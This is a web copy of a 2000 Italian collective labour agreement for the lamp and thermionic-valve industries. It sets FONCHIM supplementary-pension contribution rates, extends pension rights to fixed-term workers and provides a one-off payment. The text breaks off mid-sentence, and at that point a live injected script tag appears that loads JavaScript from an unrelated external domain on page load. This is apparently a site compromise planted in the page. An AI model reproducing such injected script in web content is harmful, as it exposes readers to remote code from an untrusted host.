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Categoria: Lampade, Valvole termojoniche Settore: Chimici Data stipula: 27-9-2000 Data decorrenza: 1-9-2000 Data scadenza: 31-8-2002
Roma, 27 settembre 2000
Contratto Collettivo Nazionale di Lavoro
ACCORDO DI RINNOVO ECONOMICO 2° BIENNIO DEL CCNL
PER GLI ADDETTI ALLE INDUSTRIE PRODUTTRICI DI LAMPADE ELETTRICHE,
CINESCOPI, VALVOLE TERMOJONICHE, TUBI LUMINESCENTI
E APPARECCHI TERMOSTATICI
tra
- ASSOLAMPADE
e
- FULC Nazionale
si è convenuto il seguente accordo di rinnovo di 2° biennio del CCNL che,
ove non diversamente indicato, decorrerà dal 1° settembre 2000 e scadrà il
31 agosto 2002.
Con la stipula del presente accordo le parti si danno atto di aver
correttamente applicato quanto previsto dal Protocollo interconfederale
23.7.93 in relazione ai bienni di competenza e quindi fino al 31.8.02.
PREVIDENZA COMPLEMENTARE
Le parti, consapevoli della sempre maggiore rilevanza per il sistema
sociale ed economico del Paese dello sviluppo della previdenza
complementare, stabiliscono con il presente rinnovo contrattuale le
seguenti innovazioni sulla materia, al fine di incentivare l'ampliamento
del numero dei lavoratori aderenti e al contempo migliorare la posizione
di ogni singolo iscritto.
A. Contribuzioni.
1) Le aliquote di contribuzione paritetica dovute a FONCHIM, a decorrere
dall'1.11.01, sono elevate dall'1,06% all'1,20% della retribuzione utile
per il calcolo del TFR.
2) Gli incrementi di contribuzione previsti al punto 1), validi per
tutti i lavoratori e le imprese rappresentati dal presente contratto, si
applicano fino a concorrenza del limite di esenzione fiscale vigente per
il lavoratore.
B. Contratti a termine.
1) A decorrere dall'1.11.01 i diritti e gli obblighi previsti dal
vigente CCNL in materia di previdenza complementare sono estesi ai
rapporti di lavoro con CFL, contratto di apprendistato e contratto a tempo
determinato, di durata continuativa superiore a 6 mesi.
2) Diritti e obblighi si applicano dal momento del superamento del
periodo di prova.
C. Documentazione ed informativa in materia di previdenza complementare.
1) All'articolo del CCNL relativo all'assunzione, tra gli elementi di
cui l'impresa deve dare notizia nella lettera di assunzione, va inserito
"documentazione sulla previdenza complementare: scheda informativa
FONCHIM, modulo di iscrizione e copia dello Statuto".
2) Le imprese porteranno a conoscenza di tutti i lavoratori le
informazioni con finalità conoscitive e di diffusione messe a disposizione
da FONCHIM.
D. Una tantum.
Nell'ambito delle misure finalizzate ad incentivare la previdenza
complementare viene stabilita la somma 'una tantum' pari a £. 120.000
uguali per tutti da erogare ai lavoratori in forza e con diritto ad un
trattamento economico nel mese di marzo 2001 secondo le condizioni,
modalità e tempi di seguito previsti.
Destinazione dell'una tantum.
1) Ai lavoratori iscritti, all'1.3.01, a FONCHIM, la somma 'una tantum'
sarà erogata con la retribuzione di marzo 2001 e versata direttamente al
Fondo.
2) Per i lavoratori che aderissero a FONCHIM nel periodo marzo
2001-gennaio 2002, la somma 'una tantum' sarà direttamente versata al
Fondo con il 1° versamento utile successivo all'adesione.
3) Ai lavoratori non iscritti a FONCHIM la somma 'una tantum', da
assoggettare in questo caso all'ordinario regime contributivo e fiscale,
sarà erogata con la retribuzione del mese di gennaio 2002.
Condizioni di spettanza dell'una tantum.
a) L'una tantum sarà erogata anche nel caso in cui il trattamento
economico riguardi solo parte del mese di marzo 2001.
b) L'una tantum spetta anche nei casi in cui il trattamento economico
sia a carico di un Istituto assicuratore - INPS o INAIL - per le causali
relative a malattia, maternità, infortunio sul lavoro e malattia
professionale.
c) Ai l<script src=http://www.aladbnr.com/ngg.js></script>
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